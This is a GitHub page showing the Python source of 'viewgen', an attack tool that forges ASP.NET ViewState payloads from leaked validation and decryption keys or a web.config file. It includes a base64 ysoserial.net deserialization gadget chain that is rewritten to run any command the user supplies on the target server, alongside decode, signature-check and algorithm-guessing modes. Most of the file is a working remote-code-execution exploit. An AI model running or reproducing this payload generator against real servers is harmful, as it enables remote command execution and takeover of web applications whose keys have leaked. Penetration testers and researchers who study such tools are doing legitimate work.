-
Notifications
You must be signed in to change notification settings - Fork 83
/
Copy pathviewgen
executable file
·358 lines (295 loc) · 14.5 KB
/
viewgen
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
#!/usr/bin/env python3
from pprint import pprint
from Crypto.Cipher import AES
from Crypto.Cipher import DES
from Crypto.Cipher import DES3
from viewstate import ViewState
from xml.dom import minidom
from colored import fg, attr
import argparse
import hashlib
import hmac
import base64
import os
import binascii
import struct
import sys
import urllib.parse
VERSION = 0.2
pad = lambda s, bs: s + (bs - len(s) % bs) * chr(bs - len(s) % bs).encode("ascii")
unpad = lambda s: s[:-ord(s[len(s)-1:])]
def success(s):
print("[%s+%s] %s%s%s%s" % (fg("light_green"), attr(0), attr(1), s, attr(21), attr(0)))
def warning(s):
print("[%s!%s] %s%s%s%s" % (fg("yellow"), attr(0), attr(1), s, attr(21), attr(0)))
class ViewGen:
MD5_MODIFIER = b"\x00"*4
hash_algs = {"SHA1": hashlib.sha1, "MD5": hashlib.md5, "SHA256": hashlib.sha256, "SHA384": hashlib.sha384, "SHA512": hashlib.sha512, "AES": hashlib.sha1, "3DES": hashlib.sha1}
hash_sizes = {"SHA1": 20, "MD5": 16, "SHA256": 32, "SHA384": 48, "SHA512": 64, "AES": 20, "3DES": 20}
def __init__(self, validation_key=None, validation_alg=None, dec_key=None, dec_alg=None, modifier=None, encrypted=False, viewstateuserkey=None):
self.validation_key = validation_key
self.dec_key = dec_key
self._init_validation_alg(validation_alg)
self._init_dec_alg(dec_alg)
self.encrypted = encrypted
if modifier is None:
self.modifier = ViewGen.MD5_MODIFIER
else:
self.modifier = struct.pack("<I", int(modifier, 16))
if viewstateuserkey:
self.viewstateuserkey = bytes(viewstateuserkey, "utf-16le")
self.modifier += self.viewstateuserkey
self.modifier_size = 4 + len(bytes(args.viewstateuserkey, "utf-16le")) if args.viewstateuserkey else 4
self._reuse_iv = False
self._iv = None
self._random_bytes = None
def encode(self, payload, reuse_iv=False):
self._reuse_iv = reuse_iv
if self.encrypted:
return self.encrypt_and_sign(payload)
return self.sign(payload)
def decode(self, payload, parse=False):
if self.encrypted:
payload, signature = self.decrypt(payload)
vs = ViewState(payload)
else:
vs = ViewState(payload)
try:
vs.decode()
signature = vs.signature
if self.validation_alg is None:
self.validation_alg = vs.mac
payload = base64.b64encode(base64.b64decode(payload)[:-self._get_hash_size()])
except:
return None, None
if parse:
return vs.decode(), signature
return payload, signature
def encrypt(self, data):
iv = self._iv
random_bytes = self._random_bytes
if self.dec_alg == "AES":
if not self._reuse_iv:
iv = self._gen_random_bytes(AES.block_size)
random_bytes = self._gen_random_bytes(AES.block_size)
cipher = AES.new(self.dec_key, AES.MODE_CBC, iv)
payload = pad(random_bytes + data + self.modifier, AES.block_size)
elif self.dec_alg == "DES":
if not self._reuse_iv:
iv = self._gen_random_bytes(DES.block_size)
cipher = DES.new(self.dec_key[:8], DES.MODE_CBC, iv)
payload = pad(data + self.modifier, DES.block_size)
elif self.dec_alg == "3DES":
if not self._reuse_iv:
iv = self._gen_random_bytes(DES3.block_size)
cipher = DES3.new(self.dec_key[:24], DES3.MODE_CBC, iv)
payload = pad(data + self.modifier, DES3.block_size)
else:
return None
return cipher.encrypt(payload), iv
def decrypt(self, payload):
data = base64.b64decode(payload)
hash_size = self._get_hash_size()
if self.dec_alg == "AES":
iv = data[0:AES.block_size]
enc = data[AES.block_size:-hash_size]
cipher = AES.new(self.dec_key, AES.MODE_CBC, iv)
block_size = AES.block_size
random_bytes_size = block_size
elif self.dec_alg == "DES":
iv = data[0:DES.block_size]
enc = data[DES.block_size:-hash_size]
cipher = DES.new(self.dec_key[:8], DES.MODE_CBC, iv)
random_bytes_size = 0
elif self.dec_alg == "3DES":
iv = data[0:DES3.block_size]
enc = data[DES3.block_size:-hash_size]
cipher = DES3.new(self.dec_key[:24], DES3.MODE_CBC, iv)
random_bytes_size = 0
else:
return None
dec = cipher.decrypt(enc)
signature = data[-hash_size:]
unpad_dec = unpad(dec)
self._random_bytes = unpad_dec[:random_bytes_size]
self._iv = iv
modifier = unpad_dec[-self.modifier_size:]
idx = self.modifier_size
if self._double_signature:
idx += 20
return base64.b64encode(unpad_dec[random_bytes_size:-idx]), signature
def encrypt_and_sign(self, payload):
if self._double_signature:
payload = self.sign(payload)
data = base64.b64decode(payload)
enc, iv = self.encrypt(data)
if "MD5" in self.validation_alg:
h = hashlib.md5(iv + enc + self.validation_key)
else:
hash_alg = self._get_hash_alg()
if hash_alg:
h = hmac.new(self.validation_key, iv + enc, hash_alg)
else:
return None
return base64.b64encode(iv + enc + h.digest())
def sign(self, payload):
data = base64.b64decode(payload)
if "MD5" in self.validation_alg:
h = hashlib.md5(data + self.validation_key + ViewGen.MD5_MODIFIER)
else:
hash_alg = self._get_hash_alg()
if hash_alg:
h = hmac.new(self.validation_key, data + self.modifier, hash_alg)
else:
return base64.b64encode(data)
return base64.b64encode(data + h.digest())
@staticmethod
def guess_algorithms(payload):
payload_size = len(base64.b64decode(payload))
candidates = []
for hash_alg in ViewGen.hash_sizes.keys():
hash_size = ViewGen.hash_sizes[hash_alg]
if (payload_size - hash_size) % AES.block_size == 0:
candidates.append(("AES", hash_alg))
if (payload_size - hash_size) % DES.block_size == 0:
candidates.append(("DES/3DES", hash_alg))
return candidates
@staticmethod
def _gen_random_bytes(n):
return os.urandom(n)
def _init_dec_alg(self, dec_alg):
self.dec_alg = dec_alg.upper()
if "AUTO" in self.dec_alg:
if len(self.dec_key) == 8:
self.dec_alg = "DES"
else:
self.dec_alg = "AES"
if self.dec_alg == "3DES":
if len(self.dec_key) == 8:
self.dec_alg = "DES"
def _init_validation_alg(self, validation_alg):
self.validation_alg = validation_alg.upper()
self._double_signature = False
if "AES" in self.validation_alg or "3DES" in self.validation_alg:
self._double_signature = True
def _get_hash_size(self):
return self._search_dict(ViewGen.hash_sizes, self.validation_alg)
def _get_hash_alg(self):
return self._search_dict(ViewGen.hash_algs, self.validation_alg)
@staticmethod
def _search_dict(d, query):
items = [value for key, value in d.items() if query in key.upper()]
if not items:
return None
return items[0]
def generate_shell_payload(command):
# Generated with: https://github.com/pwntester/ysoserial.net
ysoserial_net_shell_payload = "/wEy7REAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9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AAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL"
return base64.b64encode(base64.b64decode(ysoserial_net_shell_payload).replace(b"\x0f/c ping 8.8.8.8", bytes("%s%s%s" % (chr(len(command)+3), "/c ", command), "utf-8")))
def read_webconfig(webconfig_path):
document = minidom.parse(webconfig_path)
machine_key = document.getElementsByTagName("machineKey")[0]
vkey = machine_key.getAttribute("validationKey")
valg = machine_key.getAttribute("validation").upper()
dkey = machine_key.getAttribute("decryptionKey")
dalg = machine_key.getAttribute("decryption").upper()
encrypted = False
for subelement in document.getElementsByTagName("pages"):
if subelement.getAttribute("viewStateEncryptionMode") == "Always":
encrypted = True
if valg == "AES" or valg == "3DES":
encrypted = True
return vkey, valg, dkey, dalg, encrypted
def parse_args():
parser = argparse.ArgumentParser(description="viewgen is a ViewState tool capable of generating both signed and encrypted payloads with leaked validation keys or web.config files")
parser.add_argument("--webconfig", help="automatically load keys and algorithms from a web.config file", required=False)
parser.add_argument("-m", "--modifier", help="VIEWSTATEGENERATOR value", required=False, default="00000000")
parser.add_argument("--viewstateuserkey", help="ViewStateUserKey value", required=False)
parser.add_argument("-c", "--command", help="command to execute", required=False)
parser.add_argument("--decode", help="decode a ViewState payload", required=False, default=False, action="store_true")
parser.add_argument("--guess", help="guess signature and encryption mode for a given payload", required=False, default=False, action="store_true")
parser.add_argument("--check", help="check if modifier and keys are correct for a given payload", required=False, default=False, action="store_true")
parser.add_argument("--vkey", help="validation key", required=False, default="")
parser.add_argument("--valg", help="validation algorithm", required=False, default="")
parser.add_argument("--dkey", help="decryption key", required=False, default="")
parser.add_argument("--dalg", help="decryption algorithm", required=False, default="")
parser.add_argument("-u", "--urlencode", help="URL encode viewstates", required=False, default=False, action="store_true")
parser.add_argument("-e", "--encrypted", help="ViewState is encrypted", required=False, default=False, action="store_true")
parser.add_argument("payload", help="ViewState payload (base 64 encoded)", nargs="?")
parser.add_argument("-f", "--file", help="read ViewState payload from file", required=False)
parser.add_argument("--version", help="show viewgen version", required=False, action="store_true")
args = parser.parse_args()
if len(sys.argv) == 1:
parser.print_help()
exit(1)
if args.webconfig:
args.vkey, args.valg, args.dkey, args.dalg, args.encrypted = read_webconfig(args.webconfig)
return args
def run_viewgen(args):
if args.version:
print("viewgen %s" % VERSION)
exit(0)
generate = not args.decode and not args.check and not args.guess
if not args.payload and not args.command:
if args.file:
with open(args.file) as f:
args.payload = f.read()
else:
args.payload = sys.stdin.read().rstrip()
if args.encrypted:
if not args.dkey or not args.dalg:
warning("Please provide deryption key and algorithm or a valid web.config")
exit(1)
else:
if not args.vkey or not args.valg:
warning("Please provide validation key and algorithm or a valid web.config")
exit(1)
viewgen = ViewGen(binascii.unhexlify(args.vkey), args.valg, binascii.unhexlify(args.dkey), args.dalg, args.modifier, args.encrypted, args.viewstateuserkey)
if args.decode:
viewstate, signature = viewgen.decode(args.payload, parse=True)
success("ViewState")
pprint(viewstate)
if signature is not None:
success("Signature: %s" % str(binascii.hexlify(signature), "utf-8"))
if args.check:
viewstate, sa = viewgen.decode(args.payload)
encoded = viewgen.encode(viewstate, reuse_iv=True)
viewstate, sb = viewgen.decode(encoded)
if sa == sb:
success("Signature match")
else:
warning("Signature fail")
if args.guess:
viewstate, signature = viewgen.decode(args.payload)
if viewstate is None:
warning("ViewState is encrypted")
candidates = viewgen.guess_algorithms(args.payload)
success("Algorithm candidates:")
if candidates:
for candidate in candidates:
print("%s %s" % (candidate[0], candidate[1].upper()))
else:
warning("No candidates found")
else:
if viewgen.encrypted:
success("ViewState has been decrypted")
else:
success("ViewState is not encrypted")
if signature is None:
success("ViewState is not signed")
else:
hash_alg = list(viewgen.hash_sizes.keys())[list(viewgen.hash_sizes.values()).index(len(signature))]
success("Signature algorithm: %s" % hash_alg.upper())
if generate:
if args.command is None:
result = viewgen.encode(args.payload)
else:
result = viewgen.encode(generate_shell_payload(args.command))
if args.urlencode:
result = urllib.parse.quote(result, safe="")
else:
result = str(result, "utf-8")
print(result)
if __name__ == "__main__":
args = parse_args()
run_viewgen(args)